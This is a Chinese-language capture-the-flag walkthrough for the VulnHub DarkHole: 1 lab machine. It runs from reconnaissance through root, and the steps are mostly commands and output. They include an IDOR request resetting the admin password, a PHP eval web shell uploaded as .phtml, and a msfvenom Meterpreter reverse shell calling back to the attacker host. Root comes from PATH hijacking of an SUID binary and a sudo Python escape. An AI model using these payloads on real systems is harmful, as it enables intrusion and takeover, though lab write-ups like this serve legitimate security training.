[vulnhub] DarkHole: 1
https://www.vulnhub.com/entry/darkhole-1,724/
端口扫描主机发现
-
探测存活主机，
184是靶机nmap -sP 192.168.75.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST Nmap scan report for 192.168.75.1 Host is up (0.00027s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.75.2 Host is up (0.00016s latency). MAC Address: 00:50:56:FB:CA:45 (VMware) Nmap scan report for 192.168.75.184 Host is up (0.00032s latency). MAC Address: 00:0C:29:61:C5:52 (VMware) Nmap scan report for 192.168.75.254 Host is up (0.00018s latency). MAC Address: 00:50:56:FE:CA:7A (VMware) Nmap scan report for 192.168.75.151 -
探测主机所有开放端口
nmap -sT -min-rate 10000 -p- 192.168.75.184 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST Nmap scan report for 192.168.75.184 Host is up (0.0011s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:61:C5:52 (VMware) -
探测服务版本以及系统版本
nmap -sV -sT -O -p 80,22 192.168.75.184 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST Nmap scan report for 192.168.75.184 Host is up (0.0022s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) MAC Address: 00:0C:29:61:C5:52 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel -
扫描漏洞
nmap -script=vuln -p 80,22 192.168.75.184 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 10:00 CST Nmap scan report for 192.168.75.184 Host is up (0.00057s latency). PORT STATE SERVICE 22/tcp open ssh 80/tcp open http | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.75.184 |_http-dombased-xss: Couldn't find any DOM based XSS. | http-cookie-flags: | /: | PHPSESSID: | httponly flag not set | /login.php: | PHPSESSID: |_ httponly flag not set |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-enum: | /login.php: Possible admin folder | /config/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' | /css/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' | /js/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' |_ /upload/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' MAC Address: 00:0C:29:61:C5:52 (VMware)
web渗透
-
访问主页，存在登录页面链接
-
先扫描目录看看
dirsearch -u http://192.168.75.184 -x 403,404 // [10:07:48] Starting: [10:07:48] 301 - 313B - /js -> http://192.168.75.184/js/ [10:08:10] 301 - 317B - /config -> http://192.168.75.184/config/ [10:08:10] 200 - 460B - /config/ [10:08:11] 301 - 314B - /css -> http://192.168.75.184/css/ [10:08:12] 200 - 21B - /dashboard.php [10:08:21] 200 - 487B - /js/ [10:08:23] 200 - 1KB - /login.php [10:08:24] 302 - 0B - /logout.php -> login.php [10:08:35] 200 - 1KB - /register.php [10:08:45] 301 - 317B - /upload -> http://192.168.75.184/upload/ [10:08:45] 200 - 456B - /upload//dashboard.php无权限/upload上传文件夹/config存在database.php
-
登陆页面存在注册，我们注册用户
test登录进去后发现可以
update信息以及更改密码，感觉会存在注入
-
测试是否存在注入
-
Details Update部分使用
sqlmap测试没找到注入点 -
Password Change部分这部分没注入….但是修改密码区域可以抓包将传入的
id值修改，我们可以将其修改为id=1的用户（可能是管理用户）POST /dashboard.php?id=2 HTTP/1.1 Host: 192.168.75.184 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 20 Origin: http://192.168.75.184 Sec-GPC: 1 Connection: keep-alive Referer: http://192.168.75.184/dashboard.php?id=2 Cookie: PHPSESSID=aal4svnq3poomufcq5sv2lo2fu Upgrade-Insecure-Requests: 1 Priority: u=0, i password=123456&id=1成功将包发送，提示
Password has been change
-
-
登陆后台，用户名使用
admin，密码是用修改后的123456，成功进入
多了个上传文件框
-
尝试文件上传上传🐎
-
直接上传
2.php，内容是一句马，提示：Sorry , Allow Ex : jpg,png,gif看着像是白名单 -
尝试了一下，不只是可以上传
jpg,png,gif,其他文件也可以，所以更像是把php类的文件后缀放进黑名单了 -
这里涉及到一些文件上传
CTF的套路，我们将php改为其他可以解释为php文件的后缀，我将其修改为phtml，上传成功（我是抓包后修改的，也可以直接修改文件后缀然后直接上传）Content-Disposition: form-data; name="fileToUpload"; filename="2.phtml" Content-Type: application/octet-stream <?php @eval($_POST[x]); ?> -
上传的文件保存在了
/upload路径，测试能否使用
可以正常包含
-
-
使用蚁🗡连接
提权
-
我们先反弹
shell，靶机自带的nc不支持-e,所以我们需要上传反弹shell脚本然后包含-
生成脚本
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.75.151 lport=1234 -f raw > getshell.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder specified, outputting raw payload Payload size: 1115 bytes -
在蚁🗡将脚本上传
upload文件夹里
-
kali打开msf监听msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 192.168.75.151 lhost => 192.168.75.151 msf6 exploit(multi/handler) > set lport 1234 lport => 1234 msf6 exploit(multi/handler) > run -
网页访问上传的脚本文件
-
获得
shell[*] Started reverse TCP handler on 192.168.75.151:1234 [*] Sending stage (39927 bytes) to 192.168.75.184 [*] Meterpreter session 1 opened (192.168.75.151:1234 -> 192.168.75.184:55480) at 2024-11-08 11:49:08 +0800 meterpreter >输入shell获得shell命令行
-
-
查看权限
$ whoami www-data $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ uname -a Linux darkhole 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux -
寻找利用点
-
SUID权限
$ find / -perm -u=s -type f 2>/dev/null /usr/lib/snapd/snap-confine /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/eject/dmcrypt-get-device /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/bin/su /usr/bin/at /usr/bin/umount /usr/bin/pkexec /usr/bin/sudo /usr/bin/passwd /usr/bin/chfn /usr/bin/chsh /usr/bin/gpasswd /usr/bin/fusermount /usr/bin/newgrp /usr/bin/mount /home/john/toto/home/john/toto这个一看就不对劲 -
数据库配置文件
$ cat database.php <?php $connect = new mysqli("localhost",'john','john','darkhole');可以尝试密码碰撞
ssh，但是密码错误
-
-
来到
/home/john/，下有四个文件$ ls file.py password toto user.txt但是除了
toto有读和执行权限，别的都没有权限，前面suid也搜索出了toto，尝试利用 -
利用
toto-
因为不知道有什么作用，我们直接执行
$ ./toto uid=1001(john) gid=33(www-data) groups=33(www-data) -
我们通过蚁🗡下载该文件下来，使用
IDA反编译看看写了啥int __fastcall main(int argc, const char **argv, const char **envp) { setuid(0x3E9u); setgid(0x3E9u); return system("id"); }设置
UID然后设置GID最后输出ID命令 -
劫持环境变量
因为他会执行
id，所以我们修改环境变量让他执行id的时候执行/bin/bash$ echo "/bin/bash" > /tmp/id $ chmod 777 /tmp/id $ export PATH=/tmp:$PATH$ export PATH=/tmp:PATH设置/tmp为环境变量的开头，那样就可以一开始就去/tmp寻找id也就是/bin/bash执行
toto，获得john的shell$ ./toto john@darkhole:/home/john$
-
-
获得
john的用户后查看之前没权限看的文件-
password是john的密码，我们用它去ssh登录john获得更好的用户交互shelljohn@darkhole:~$ cat password root123 -
file.py是空的ohn@darkhole:~$ cat file.py -
user.txt一个flagjohn@darkhole:~$ cat user.txt DarkHole{You_Can_DO_It}
-
-
寻找利用点
-
查看
sudo权限john@darkhole:~$ sudo -l [sudo] password for john: Matching Defaults entries for john on darkhole: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User john may run the following commands on darkhole: (root) /usr/bin/python3 /home/john/file.py可以使用
root权限执行file.py文件，哦豁，可以提权了 -
编辑
file.py文件，将提权语句写入file.pyehco "import os;os.system('/bin/bash');" >> file.py -
使用
sudo权限执行john@darkhole:~$ sudo /usr/bin/python3 /home/john/file.py root@darkhole:获得root！！！
-
-
读取
flag文件root@darkhole:~# cat root.txt DarkHole{You_Are_Legend}